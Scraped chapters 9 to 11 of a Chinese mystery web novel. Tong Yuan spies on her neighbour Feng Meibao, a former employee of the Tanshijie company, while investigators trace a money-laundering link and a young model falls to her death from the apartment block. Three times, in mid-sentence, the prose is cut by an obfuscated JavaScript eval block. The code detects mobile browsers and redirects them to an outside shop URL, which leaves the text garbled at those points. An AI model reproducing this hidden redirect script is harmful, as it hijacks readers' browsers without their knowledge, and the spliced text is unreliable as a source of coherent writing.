段书艺腿长,一直走在童鸢前面。她们在同一个站下车,走了同一段路,来到樱桃公寓的同一个大门口,进入同一座公寓楼。 段书艺觉得童鸢是在跟踪自己,直到童鸢拿出了同款门禁卡。 这也许是巧合,也许不是,两人都有些尴尬。 童鸢的楼层比段书艺的要矮。她走下电梯的时候,忍不住驻足回望。 电梯门合上的前三秒,童鸢的脑海中忽然浮现出了某个被遗忘许久的场景。 那一天,她刚搬来樱桃公寓,上楼时,同电梯还有两个男人和一个女人。童鸢捧着一堆箱子,按电梯楼层的时候差点把东西摔了一地,有人帮她接住了。 “小心点,樱桃。”是金诺贤的声音。 他们带来一身的酒气,童鸢很不喜欢。电梯刚一到达,她就逃走了。 回头再看时,她看到段书艺正歪在金诺贤的身上。在他们身旁,还有一个男人。 那个男人长什么样?童鸢想不起来了。 难怪金诺贤那天问她:“不记得我了?” 原来那不是老土的搭讪伎俩,而是她真的忘了。可他当时为什么要叫她“樱桃”?这不是跟公寓重名了吗? 思来想去,童鸢没有得到答案。 直到晚上七点半,她听到隔壁传来开门的声音,飘远了的思绪这才及时飘了回来。 她掀开窗帘的一条缝,邝斯年的车又停在了楼下——明明刚才回来的时候还不在。 果然,他们在查冯美宝。 童鸢把湿漉漉的长发吹干,穿上外套,又等了十来分钟,这才拿起药箱中的一管药,敲响了隔壁冯美宝的门。 门后传来一阵嘈杂的声音,似有什么摔倒在了地上,又像是有厚重的物品被推开,在地上发出沙哑的摩擦声。不多久,门被打开,冯美宝还穿着早上出门时的那件套装。 不是说要去健身房? 童鸢没有问,只说:“我想着你这个时候应该下班了,就过来了,没有打扰到你吧?” “啊,没有。”冯美宝站在门口,气喘吁吁,额边还沁着细密的汗珠,她并没有要请她进门的意思,问她,“怎么了?” “啊……今天早上……” “我现在可能不太方便。” “哦……这样……”童鸢摸摸口袋,掏出一管药膏,塞到冯美宝手里,说,“这是专门针对蚊虫叮咬的消炎药,还能祛疤……那我先不打扰了。” 冯美宝大概没想到她上门还带了东西,微微一怔,问她:“你为什么要给我这个?” 童鸢低下头:“我也觉得麻烦你怪不好意思的……刚好我看到你小臂上有疤,想着这里四季都有蚊子,尤其是夜跑什么的,还是备着点膏药比较好。” 说完,她又惊恐地摆摆手,说:“姐姐你不要有负担,我、我这东西很便宜的。至于灭火器的事,我现在烧眉毛已经烧出经验了,问题不大。你、你先忙。” 冯美宝看着手上的膏药,又看了眼童鸢,长叹一口气,说:“进来吧,我给你拿一份产品册子。” 说完,冯美宝转身进了卧室。 冯美宝所住的户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817749|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 型比童鸢的要大,装修简洁,没有多余的装饰,可若是细看,便能发现里头的家具大多是中古货,设计简单却并不便宜,大有讲究。 其中有一个书架,放在电视机旁,上面零零星星躺着几本书,其中有几格空了出来,上面落了一圈的灰。 童鸢扫了眼周围,发现饭桌底下,被桌布挡住了纸箱的一角。 “来,你可以先看看这本册子。”冯美宝把一本印刷目录递给了童鸢。 童鸢顺势坐到沙发上,看了起来。从她的余光中,明显可以感受到冯美宝就站在她身边,一瞬不瞬地盯着她,似乎想要赶她走,生怕她在自己的屋子里随便乱逛。 想想被挡住的纸箱,空出来的书架和灰尘的形状,还有刚才进门前所听到的拖动东西的声音,可以推测,冯美宝正在收拾东西。而这些东西,恰恰是她最舍不得的却最不想被人看见的。 也许是今早的新闻和邝斯年的追查惊动了她,她来不及,带不走,也走不掉,这才不得不连夜把东西收拾起来,处理掉。 童鸢故作镇定地翻看目录,指着两个不同颜色的灭火筒问冯美宝:“这两种有什么区别?” “啊,”冯美宝有一瞬间的愣神,随后说,“灭火的原理和范围不一样。” “是怎么不一样呀?”童鸢给自己的定位就是看不懂人脸色的小宝宝,既然冯美宝把她放进来,她就厚着脸皮问到底,“姐姐你家里用的是哪款?” 冯美宝大概也没想到她这么认真,说:“如果你不介意清洁问题,我一般会推荐你们用红色的。基本上,我们的客户都是用红色的。” “怎么用的?” “你们没有做过消防演练吗?” “好像……没有。” “很简单,拔出插销就,然后按下去就可以了。” 童鸢其实知道怎么用。毕竟在眉毛被烧掉之前,她就已经差点因为烤箱着火而丧命,但她扁扁嘴:“不看实物感觉很难懂。” 不知是无奈还是厌烦,冯美宝起身走向了厨房:“我拿一个给你看看。” “那太好了。” 趁着冯美宝离开的机会,童鸢打开手机相机,撩开桌布,尽量不动声色地朝箱子里的东西乱拍一通。 等冯美宝拿着灭火筒走过来时,童鸢已经透过照片将箱子里的东西看得一清二楚。 “这个是插销,这样,拉开。”冯美宝手把手教起了童鸢。 童鸢学得认真,很快便明白了,起身要走,说:“我回去先把小册子给负责采购的同事看一下。” “行,”冯美宝松了口气,问她,“你是什么公司的?是做餐厅的吗?听你之前的电话,该不会是烹饪学堂?” “啊,我是柠檬果娱乐的。” 冯美宝的眼神有一瞬间的僵硬:“柠檬果?” “对了,我还有点好奇呢。册子上写着给力消消防,为什么姐姐你用的却是别的公司的呢?” “啊……这个,是上一手住户留下的。” 一个显而易见的谎言。 童鸢粲然一笑,离开了。 回到自己家中,她把手机打开,将拍到的照片发给了KSN。 照片没什么特别的,除了一个亚克力奖杯,上面写着:冯美宝,叹世界集团2012年优秀员工。 9. 茶匙 009 “2012年啊……企业离职人员的人事档案一般只要求保留两年备查。你们要是早几年过来就好了,你们所说的冯美宝离职有十年了吧,我可能没有办法给你们提供太多信息。” 叹世界集团总部大堂咖啡厅,人事副总赵玲珑接待了邝斯年和安小贝。 赵玲珑看上去三十多岁,举手投足间有着和年龄不大相称的老成。 安小贝:“那根据你对冯美宝的了解,她是个怎样的人?当时是出于什么原因离职?” 赵玲珑看上去有些苦恼:“实不相瞒,我不是叹世界亲生的,刚从别的餐饮公司跳槽过来不久,并不认识什么冯美宝。” 安小贝:“你来叹世界多久了?” 赵玲珑:“也就半年吧。好不容易稍微站稳了脚跟,你应该明白我的意思。” 言下之意,赵玲珑并不想透露更多,以免触了霉头,工作不保。 可安小贝还是执着地往下问:“那在公司里,有没有和冯美宝相熟的人?” “恐怕我回答不出来。” “赵总,你不需要有太多顾虑,我们会对你的信息进行保密处理,不会让其他人知道的,今天过来也不过是想了解一下金董的情况。” 咖啡中的冰块正在融化。也许是常年在室内工作的缘故,赵玲珑衣着单薄,就连饮品也选择冰的。她没有喝,只是缓慢搅拌着冰块,精心装饰过的指甲在窗边的阳光下闪闪发光。 她犹豫了几秒,最终还是摇头,说:“具体的名单我不能给你,如果你们一定要拿,就需要给我出示相关批文。” 安小贝心下失落,却还想再争取,可她的话还没说出口,赵玲珑忽然朝她靠近,说:“我劝你们不要大费周折,因为即使批文来了,也没有用。” 安小贝:“为什么?” 赵玲珑:“叹世界成立有二十年了吧,可除了家族亲戚,这里司龄最长的员工没有超过五年的。尤其是人力资源部和品牌部,几乎三年一换,赔偿金和公关费的预算居高不下是有原因的。我也是瞎了眼……算了,不说了,你们明白我的意思就好。” 简而言之,赵玲珑并不是不想合作,而是合作了也没用。 不远处的前台,人来人往,邝斯年忽然没来由地说了句:“你们每一年的年会好像都办得挺轰动啊。” 赵玲珑有些错愕,接话道:“啊,你说这个,大公司不都这样?” 邝斯年:“你作为人事副总,应该会参与到年度优秀员工的评选吧?” 赵玲珑:“说是参与吧,其实不过是牵个头,作一下统计,最后还是按部门提交的名单……当然,绩效是最重要的参考,记入人事档案。” 到头来,叹世界都没有提供任何有用的信息。但越是这样,侦查一科就越是起疑。在他们的白板上,冯美宝、金少立和海秀仪的关系用虚线连成了一个三角形。 走出咖啡厅的时候,邝斯年接到了陈莉的电话:“找到了一条新线索。” 冯美宝有心要隐瞒自己曾在叹世界工作的经历,叹世界若是真有什么问题,恐怕也会有所应对。所以在出发前,陈莉就着手联系信息组,通过数据搜集和人脸对比,企图找到冯美宝不愿意透露的人际网络。 他就不信,这么多年,这么多人事物,不可能没有留下一点痕迹。 “事实上,冯美宝很谨慎,网上有关于她的照片几乎都已经被删得一干二净,但某些不起眼的小角落还是出卖了她。”办公室里,陈莉将一张照片放到邝斯年和安小贝面前。 那是一张9比16的自拍照。自拍的女生梳着当年最流行的厚重斜刘海,手持奖杯,在她身后是明亮的舞台和主持人的背影。显然,这张照片是在后台拍的。 照片的角落里,恰好拍到了正在侯台的冯美宝的正脸,以及和她正在交谈的另一位女性。 陈莉说:“这是在某个古早叠字媒体上找到的,发布时间是2012年12月24日晚上。推测是在叹世界年会的颁奖后台。主角明显在激动自拍,无意中将身后等待领奖的冯美宝也拍了进去。” 邝斯年指着正和冯美宝交谈的人,问陈莉:“这是谁?” 陈莉:“罗天琴,现在是一家美甲店的老板。” 罗天琴的美甲店开在公寓里,预约上门。安小贝换上淡紫色的套装,在下午四点的时候准时敲开了罗天琴的房门。 按照罗天琴自己的说法,最近圣诞刚过,和新年又挨得近,该做指甲的基本都已经做完了,客量下降,安小贝这一单算是填上了她无所事事的日程。 安小贝随便选了个款,一边打量着屋内的环境,一边说:“我也是听朋友介绍的。感觉你是个老师傅,应该在这一行做了很久了吧。” “是挺久的。”罗天琴握着她的手,将她平常并不注意的倒刺一一修剪,说,“你是做什么工作的呀,手上的皮肤好像不怎么包养。” “啊,都是些类似跑腿的工作。做了有……十年了吧。” “真巧,我也差不多。” “真的?你看起来不像诶。” 罗天琴有些娇嗔地看了她一眼,说:“你真会说话。” 安小贝:“你是一毕业就自己创业吗?” “刚毕业哪有钱?打了几年工,才把启动资金赚够的。” “是怎样的工作?画画?设计?艺术类的?” “怎么可能?”罗天琴又笑了,“说出来你可能不信,是人资。” “那一定是大公司。大公司才能有专门的人资。” “应该……应该算是大吧,不过当年也没那么大。叹世界,知道吗?” 安小贝没想到对方主动提及,连忙说:“我听说过。我的一位朋友就在叹世界,不知道你认不认识。” “谁?” “冯美宝。” 罗天琴勾画的手明显一顿。细长的笔尖将原本笔直的白线倾注成了鼓起的一点。她“哎呀”一声,急忙提笔:“不好意思,我重新帮你画。” “你认识美宝吗?” 罗天琴将画糊了的线条擦去,叹了口气,没有正面回答,只是问她:“美宝现在过得还好吗?” “挺好的,在一家卖消防用品公司上班,有稳定的工作。” “是吗,那就好。”罗天琴的表情显得有些惆怅。 “怎么,你们关系不好?那是我冒昧了,”安小贝歉然一笑,“我们换个……” “不……是我不好,当年的是我没有帮到她。” “怎么说?” “你不知道?” “……我一直把美宝当成好朋友,可她过去的事从来不跟我提起。有时候……像生日啊,过节啊,我都不知道该怎么办。像今年生日,我就送礼送错了……” “生日?你千万不要跟她过生日!” 安小贝心下一跳,直觉关键信息要来了,说:“为什么?” “反正……” 罗天琴并不愿意说,可在安小贝的追问下,她还是絮絮叨叨地把她在叹世界时所知道的事情一五一十地告诉了安小贝。 “我们是同期进入叹世界的。”罗天琴说,“那时候,我在人力资源部,美宝在叹世界餐饮事业部。是的,那时候只是事业部,还没升格为事业群。” 餐饮事业部主管叹世界旗下的几大直营茶楼,冯美宝是2011年的管培生。 因为叹世界事业部众多,人力资源部都是分组对接的。罗天琴恰好被分到了餐饮这一块,于是和冯美宝有了些接触。 冯美宝长得好看,名校毕业,刚一进公司,就被不少单身汉盯上。为此,她当时的男朋友总是来接她下班,一到节日就各种送花。宣誓主权的事情多了,狂蜂浪蝶也就渐渐少了。 “美宝做事很认真,也有能力。没过多久,她就能在楼面独当一面,成了楼面经理。”罗天琴说,“当时,叹世界还没有独立出来的调料和食品门店,所有的产品都是放在茶楼楼面卖。美宝产品卖得多,业绩好,年内又升了一格,成了销售经理,并且评上了第二年的优秀员工。” “也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那就挑刺,翻旧账,出警告信,再不行就给钱。来来去去不过这三道板斧。后来,我领导也没有办法,只能多给美宝争取一些赔偿,等她休完产假回来,就跟她沟通了这件事。当时我也在场,美宝的脸色很苍白,很平静,没有怎么犹豫,收了钱,便在文件上签了字。可就在那天晚上,美宝出事了。” “因为煤气中毒,她和她的宝宝被邻居发现,送去了医院。医生找不到她老公,就联系上了公司,刚好打了我的电话。我赶到时,宝宝因为年纪小,已经没了。后来美宝醒了,言语间我才知道,她老公因为受不了流言,连亲子鉴定都不信,直接离婚,带着所有的钱,走了。本想着还能回归职场,结果职场也不要她了。她一时想不通,就打开了煤气炉。” “这件事不知怎的,被隔壁床的人听了去,引来了打抱不平的记者。为了平息风波,也为了挽回形象吧,曾秀芬出面,塞了记者封口费,还给美宝找到了新工作,也就是你刚才提到的消防器材公司。” “也许是出于愧疚吧。我有时候会想,如果我当时再坚持一下,不让他们辞退美宝,也许就没有后面的事情了。后来,钱存够了,我觉得在叹世界干得没意思,人微言轻,干脆就自己创业了。” 安小贝:“从那以后,你们就没有联系了?” “联系过一次,”罗天琴说,“她刚去新公司没多久,我去探望过她。她恢复得挺好的,跟她交接的同事也很平易近人,什么事都带着她。” 安小贝:“交接?” 罗天琴:“是啊,我听曾秀芬说过,好像是消防器材公司的销售怀孕了,不干了,所以才有个空位出来给美宝。刚开始我还疑心是什么烂摊子,好在对方人还挺好。对了,我这里还有合照。” 说着,罗天琴打开手机,将一张三人合影拿给安小贝看。 安小贝微微睁大双眼,站在罗天琴和冯美宝两人中间的人,她认得,正是海秀仪。 “她人真的很好,”罗天琴说,“因为要搬家,她还把当时住的公寓主动让给了美宝,听说租金很划算。” “公寓?你有去过吗?” “去过啊,搬家的时候,我开车送过她们,没记错的话,好像就叫樱桃公寓。” 10. 茶匙 010 第一次听说樱桃公寓,是在提交了第二年学校宿舍申请之后。 申请只是第一步,后面还要抽签。 童鸢很清楚,以自己的运气,是不可能中签的,于是着手寻找新家。新家的条件说高不高,说低不低。她喜欢一居室,自己一个人随便躺。考虑到第二年还要解决实习和工作留岛的问题,交通便利也很重要。至于预算,尽管没有人约束她花钱,但节俭同样是她的选择要素之一。 综合以上三点,童鸢找了很久都没有找到合适的。 某天刮台风,暴雨,童鸢在楼下等迷路了的外卖,无意中扫了眼从来不看的传单栏,这才看到了樱桃公寓。 入住樱桃公寓的手续比寻常的要复杂。除了童鸢要看房,房东还要看人,上传照片,面试,填表。表格的内容很多,从身高体重、生肖星座到社会关系,紧急联系人,其严苛程度和申请学校宿舍并没有太大区别。 奈何樱桃公寓性价比高,又是童鸢目前见过最满意的,这才忍受住繁琐的流程,顺利搬了进来…… 下班洗过澡,童鸢从抽屉的文件夹中重新翻出了当时拿到的传单。她走到沙发前,按下乐高沙盘的开关,不多时,桌脚缩短,围栏升起,盖子合上,变成了一张普通的茶几。 她盘腿坐在茶几旁,左手边是刚到的外卖,右手边的窗下,还停着邝斯年同事的车。 自从那天给邝斯年发过消息,两人便没再联系,唯有黑白两辆小轿车轮流停在楼下。不用想,定是侦查局在盯着住她隔壁的冯美宝。 除了冯美宝,段书艺、金诺贤,还有童鸢自己,莫名其妙地都聚在了樱桃公寓,说是巧合,童鸢自己都觉得可笑。但可笑的证据在哪,童鸢找不到。 电脑屏幕上的圆圈终于完成加载,樱桃公寓的开发商信息跃然于眼前。 那是一家名不见经传的建筑公司,2007年成立,法人是名何姓富商,并没有什么特别的。至于承接转组出去的房东,在网页上也没有找到任何相关信息。 难道是她多心了? 童鸢关掉网页,打开视频软件,决定还是先填饱肚子要紧。 炸鸡还没吃几口,门口传来敲门声。童鸢扫了眼手机,已经晚上九点,会是谁? 恰在此时,手机消息传来。 KSN:开门。 门外,邝斯年裹着一身寒意,手里提着一盒坚果,塞进童鸢手里:“给你,补脑。” “……”童鸢很不情愿,但还是请他进来,关上了门,顺手拆开了包装,“我脑子挺好的,劳您费心。” “要是真有脑子,就赶紧回哈兰。” 邝斯年这张嘴,没一句好听的。 童鸢不予理会,问他:“有何贵干?” 邝斯年没有回答,坐到沙发上,看着她:“我饿。” “饿就滚回家吃饭。” “妈和爸都回老家了。” “你自己不会做?我看是你比较需要补脑,”话虽如此,童鸢还是扔给他一个泡面,“自己泡。” 邝斯年从沙发起身,果真到厨房里开锅,烧水,问她:“你不吃?” “我有炸鸡。” “所以我只有泡面?” 醉翁之意不在酒。童鸢看着还剩大半盒的炸鸡,努努嘴:“那就给我也泡一个呗。” 锅里又多了个面饼。面饼躺在开水里,和着几根在冰箱里压箱底的青葱白菜,咕噜噜地响。没有人说话,只剩电视剧里的对白和升腾翻滚的白雾。 “阿鸢。” “嗯?” “去我家住吧。” 炸鸡身上的面包糠发出咔嚓一声脆响,童鸢皱眉:“为什么?” “你可以跟我爸妈住,他们很乐意。你要是觉得不方便,也可以跟我住。我现在搬出来了,反正经常加班,整个空间基本都属于你,你不用觉得不自在。” “等、等等,这两个选项有什么区别吗?”童鸢终于放下了炸鸡,“万一我要带朋友回家,比、比如说带男朋友回来过夜,那那那那你觉得合适吗?” 男朋友是假,不合适是真,比如说茶几底下的那盘乐高就很不合适。 邝斯年的疑虑却在别处:“你有男朋友了?” “呃,没……不,我总有一天会有男朋友的呀。万一情到浓时,我们在房间里为所欲为,你受得了吗?阿姨叔叔受得了吗?” “那就是没有,”邝斯年听话只听一半,将两碗做好的清汤蔬菜面放到童鸢面前,递上筷子,盘腿而坐,“我们小时候不都住一起吗?” “那是小时候。我现在需要自己的空间。” “我不会干涉你任何事。” “……” 你现在不就是在干涉了吗?童鸢心想。 “我也不收你租金和水电,就像你当年照顾我那样。” 这倒是有点诱惑,可童鸢还是摆摆手,想要拒绝。忽然,她觉得事情有点不对劲。她看了眼电脑下压着的传单,问邝斯年:“你其实是不想我继续住在这里,对不对?” “怎么会?我是觉得你一个人住,万一有个头疼脑热的也没人照应,危险。”邝斯年说着,拿起一块炸鸡翅,蘸上甜辣酱,塞进嘴里,顿时虎躯一震,起身找水喝。 “你撒谎,你一撒谎就分不清酱!” “你这也没别的酱啊!” 童鸢拉开冰箱门,一瓶未开封的番茄酱老老实实地躺在白菜旁。 邝斯年:“……” “你到底是怎么当上探员的?” 童鸢把番茄酱拿出来,打开包装,用酱碟盛好,递给邝斯年:“拿着。” “你不是不吃番茄酱吗?” “待客之道,备着,懂不……可乐要不?” “太晚了……我们俩分一罐吧。” 两人刚吵闹完,又像没事人一样,带着玻璃杯、可乐和酱汁,回到茶几旁,继续嗦面啃炸鸡。电视剧吱吱喳喳,邝斯年又绕回到原来的话题:“说真的,考虑一下。” 童鸢:“你先告诉我,你们为什么要盯着冯美宝……所以她真的是金少立和医生夫人的中间人?优秀员工怎么就跑去做这种中间人了呢?不应该用升职加薪来压榨更多的剩余价值吗?还有,医生老婆是谁介绍给金少立的?还是说金少立专挑窝边草?咦恶……” “说了,少打听。” “那我所知道的事,你也不要打听咯。” 童鸢说着,从沙发上的背包里掏出一个文件夹,故意露出其中一角。 角落上,印刷体清晰写着“报价单”三个字。 “什么?” 邝斯年伸手去拿,被童鸢侧身躲开。她抬起嘚瑟的下巴,向他招手:“交换。” “我得先评估信息的价值和真实性。” “少跟我来这套。就说换不换?” 邝斯年按停电视剧,将自己的手机掏出来,放在桌面上,说:“给你做人质。” “密码。” “那是尾款。你也可以现在就退缩。反正你都提示我报价有问题了,那我自然能去查。我的权限可比你大。” 童鸢咬牙,一手拽紧邝斯年的手机,一手将文件夹递上:“快点评估,小心我撕票。” 邝斯年笑着摇摇头:“你呀你,还跟个小朋友似的。” 童鸢脸都黑了。 对方却似没有察觉,打开文件夹看了起来。 文件夹中包含有一份薄薄的产品目录,罗列着给力消消防科技有限公司的产品,详细讲解性能。册子的最后一页夹着一张报价单。报价的时间是昨天,打了折后,灭火器的平均价格在四、五十块钱左右。这和邝斯年自己给家里配的价格差不多,看不出问题。 文件夹的另一份资料是一沓翻拍图。图片翻拍自电脑屏幕,带着些许闪屏,罗列出了另一份截然不同的报价单。在这份报价单上,每一样的价格都比市场上的翻了十倍。 而除了品名和价格,邝斯年并未看到产品图片,型号编码和公司标志。 邝斯年问童鸢:“哪来的?” 童鸢:“我不是被烧了眉毛吗?这眉毛不能白烧啊,所以我就以这个为借口找冯美宝要了报价,转头又去找录影棚的场地运营投诉消防器材不给力,照片就是我找机会从运营的电脑上拍下来的。” “场地运营怎么会搭理你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817751|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “因为我和金诺贤现在是同一个比赛阵营的呀。小少爷愿意为我的眉毛抱不平,运营哪敢拒绝金主家小少爷的要求?” “金家小少爷……”邝斯年皱眉,“我咋觉得哪儿不太对……” “哪不对了?”童鸢凑上前去,以为他说的是报价单的问题。 邝斯年甩甩头,像是要把什么想法甩走。过了几秒,他才说:“假设,你拍到的电脑报价单才是给力消真实的内部报价,那这就是经济问题了。” “是啊,经济问题。你们特意去会心银行,不就是为了查医生家的经济问题吗?” 邝斯年抬眸看她:“你到底想说什么?” “金少立没有孩子,至少面上是这样的。而以金少立目前的财力,他应该不介意掏点零花钱云养一个继承人。可钱要怎么给,对方要怎么收,这就成了问题。显然,医生大概率一直被蒙在鼓里,所以收钱的应该是他妻子。那给钱的呢,如果从私人账户出,难保老婆会查,若是打起官司,这就成了对自己不利的证据。可如果从公司账户出,叹世界十多年前就已经上市了,这笔账目日积月累势必是个大数目,要怎么逃过审计,这又是另一个问题。” 童鸢喝了口可乐,继续说:“最好的办法,就是找一个看似不相干的人,另起名目,洗白白之后再交易。” 邝斯年:“逻辑上是可行,但如果你的猜测成立,从这两份报价来看,这恐怕不是另起名目那么简单。” 童鸢:“那就得看金少立的道德底线了。若是独独为了个私生子,不觉得太大费周折?也许这件事本身就是个蓄水池,有利可图。” 邝斯年:“你觉得,给力消很可能就是这个蓄水池。” “不然,你很难解释,这几个表面看似不相干的人,不相干的公司,最后怎么联系在一起。” 吸溜呼噜,可乐喝到了底,童鸢耸耸肩,将手机怼到邝斯年面前:“好了,我的说完了。密码。” “那不能随便告诉你。” 邝斯年说着,伸手要取回手机,童鸢急忙收回:“哇,你这样耍赖可是不行的哦。” “手机里没东西。我大概告诉你一点。虽然只有一点,但也已经不合规矩了。你想你哥饭碗不保?” 邝斯年还要伸手拿手机,童鸢拽得更紧了:“你少在那装可怜,别以为我不知道你正想方设法赶我回哈兰。你说你的,我评估我的。要是评估不过关,我我我我现在就撕票。” 童鸢将邝斯年的手机放到已经吃完了的面碗上,时刻准备着请“机”质喝汤。 邝斯年长叹一声,说:“我承认,我不希望你继续留在樱桃公寓。但我是有原因的。” “什么原因?你赶紧详详细细地说清楚。” “三点。第一,在你来这里之前,冯美宝已经在这里同一个单元住了十年。这十年,基本和海秀仪,也就是医生妻子从怀孕到死亡的时间相吻合。第二,海秀仪是冯美宝的上一手住户,兼同岗位的前同事。海秀仪前脚还没离开给力消,冯美宝后脚就入职了。第三……你有了解过你那群同事的底细吗?” “什么底细?” “据我了解,除了你之外,节目组中的大部分‘学徒’都是五嫂肖月娥介绍进组的。而这群学徒当中,除了已经结婚的,基本都住在樱桃公寓,只是分散在不同的楼座。而那些已经结婚的,也都曾是这里的住户。” 童鸢的心漏跳了一拍。原来,她的直觉没有错,樱桃公寓真的有问题,可问题在哪? 邝斯年说:“这当中的联系,我们还没有完全摸清。可阿鸢,我希望你可以留在绝对安全的地方。” 无论是作为邻居,还是作为大哥,邝斯年的话都说得真挚。童鸢尚未从困惑中走出来,一时不知道该怎么回应。 突然,余光中似有什么东西在窗外闪过。童鸢只看到邝斯年瞳孔一震,急忙转身朝窗外看去。 窗外一片漆黑,只有路灯的余光。 下一秒,楼下传来重物落地的声音,然后是凄厉的尖叫,此起彼伏。 “阿鸢,留在这,锁好门。” 话未说完,邝斯年已经冲出了家门。 11. 茶匙 011 房门在邝斯年身后合上。 童鸢不知道发生了什么事,只机械地走到窗边,往楼下看去。 花白的路灯下,她看到了一具花白的身体。黑色的长发散落在地面上,遮住了脸。血是红到发黑的,在那具身体下融化成厚重的巧克力。 童鸢心头生出一股不好的预感,像极了三年前赶回家的路上。 她将邝斯年临走前的话抛诸脑后,抓起手机和钥匙就往门外冲去。电梯刚好上行,打开门的瞬间,童鸢钻了进去,将往上的楼层按键全部按亮。 电梯逐层停靠。 十二层,不是。十三层,也不是。 灭掉的按钮不断增加,直到第二十四层,心脏的跳动在童鸢的耳朵中引起轰鸣。 二十四,那是段书艺曾经按下的数字。 电梯门开了,童鸢看见了邝斯年。 邝斯年身前,是一扇打开了的入户门,有照片洒落一地。 屋内的灯光蔓延到邝斯年脚下,擦亮了照片。童鸢看得清楚,照片上是男女交错的□□。 男人的脸总是被切割在取景框外,只留下或大或小的肚腩,穿金戴银的脖子或手指,以及时有时无的纹身。而女人笑得灿烂,和童鸢所认识的那张脸一样,微胖的脸颊尚带着稚气和未被磨平的骄傲。 一滴眼泪毫无征兆地落在了照片上,溅起渺小的水花。 童鸢抬手摸了摸自己的眼角,有什么东西哽在她的喉咙上。她动了动嘴唇,邝斯年的手轻轻拂了上来,挡住了她的视线。 “别看。” 那手略微一用力,将她的脸埋在了自己的肩膀上。 有风从窗户灌入,卷起纱帘和散落满室的照片。 金诺贤站在窗前,手里握着的是少女的浴袍。浴袍在他手中扬起,如羽翼落下,盖在了段书艺身上。 几乎所有目击者都被带回了侦查局问话。 提问童鸢的,从邝斯年换成了两名女探员。其中一位,童鸢之前见过,是邝斯年的搭档,安小贝,另一位则是陈莉。 大概是没想到这么快又碰面,安小贝和陈莉的脸上都带着些许讶异。 安小贝问童鸢:“你跟段书艺是怎么认识的?” 童鸢的声音有些沙哑:“大概,差不多半个月前,我们在‘厨力觉醒’节目组里第一次见面。我们都是参演者。” 安小贝:“在你看来,金诺贤和死者段书艺是什么关系?” 童鸢:“一开始,我以为他们是情侣。但……后来我分别问过他们,他们都没有承认。” 陈莉:“听节目组的同事说,你们曾有过争执,这是真的吗?段书艺曾经欺负过你。” “没有。”童鸢立刻否认。 她的情绪有些激动,她立刻反应过来,自己不该表现得过激,以免引起误会。她在脑海中整理着措辞,说:“我想,他们所说的争执,应该是指节目中的一个环节。当时,名厨需要现场选择学徒,组队带教。大概是为了节目效果,金诺贤先选择了我。此后,段书艺稍微显得有些激动,仅此而已。” 陈莉:“据了解,12月26日的时候,你在节目中所使用的炉灶忽然起火,你认为是什么原因造成的?” 童鸢:“你怀疑是段书艺报复?” “你觉得呢?” “不是她。” “为什么这么笃定?” “因为最后是她扑灭了火。而且,在之后的录制过程中,她虽然有点孤傲,但从没有为难我,还教我很多技巧。”童鸢盯着陈莉的双眼,说,“所以,我没想过要她死。” 陈莉也在直勾勾地盯着她,半晌,才移开了视线。 安小贝:“童女士,可不可以跟我说说,你当时赶到二十四层的时候,都看到了什么?” 童鸢:“一地的照片。” “怎样的照片?” 童鸢:“我不想说。但我觉得,照片应该不是段书艺拍的。” “为什么这么说?” “因为……” 在被邝斯年按住脑袋的时候,童鸢的意识曾有过一瞬间的空白和错愕。她想起了被烈火包围的在哈兰的家。可冷飕飕的风将她吹醒了。 她从邝斯年的手臂中挣扎出来,去搜索段书艺坠楼前的痕迹。 “你们应该能找到的,”童鸢说,“靠近大门的餐桌上放着刚开封的快递盒,地上有剪刀,有几张照片被剪碎了。那几张照片下刀的地方出奇的一致,还有明显的起皱,应该是在极度愤怒的情况下,将好几张照片一起绞下去。除了快递盒,餐桌上还有生日蛋糕,未吃完的牛排和洒落的红酒。他们很可能有过争执。可在现场……金诺贤没有愤怒、激动或者谩骂,而是出奇地安静,甚至……” 像是解脱了一般,松了口气。 童鸢想不明白。即使不是情侣,能够让一个女生安心地在他面前穿着浴袍,应该也是很要好的关系。也许,段书艺正想要借着生日的这个机会,和金诺贤有进一步发展。可那些照片又是…… 童鸢沉思的片刻间,安小贝和陈莉交换了个眼神,结束了这场询问。 在安小贝和陈莉看来,童鸢的观察出奇的准确。除了金诺贤,段书艺的家里还存在非常多疑点。 一个刚满十九岁的独居女孩,吃穿用度皆是顶奢,明牌珠宝放满了衣帽间。饶是已经小有名气的模特兼网红也无法做到如此奢靡。可偏偏是这样一个有钱人,不买房不买车,蜗居平民公寓,上下班坐地铁?说出来谁信?光是从投资保值的角度就已经说不过去。 显然,花钱的人和挣钱的人,不是同一个。 可要说段书艺被包养,安小贝和陈莉问遍了那一栋楼的保安和住户,却从未见有人提起她身边还出现过什么大哥、义父。 唯一风评不好的,就是她喜欢喝酒,还总在凌晨喝得烂醉,在电梯里吐了一地,给清洁人员造成了不少麻烦。而每一次,都是金诺贤给她收拾残局。 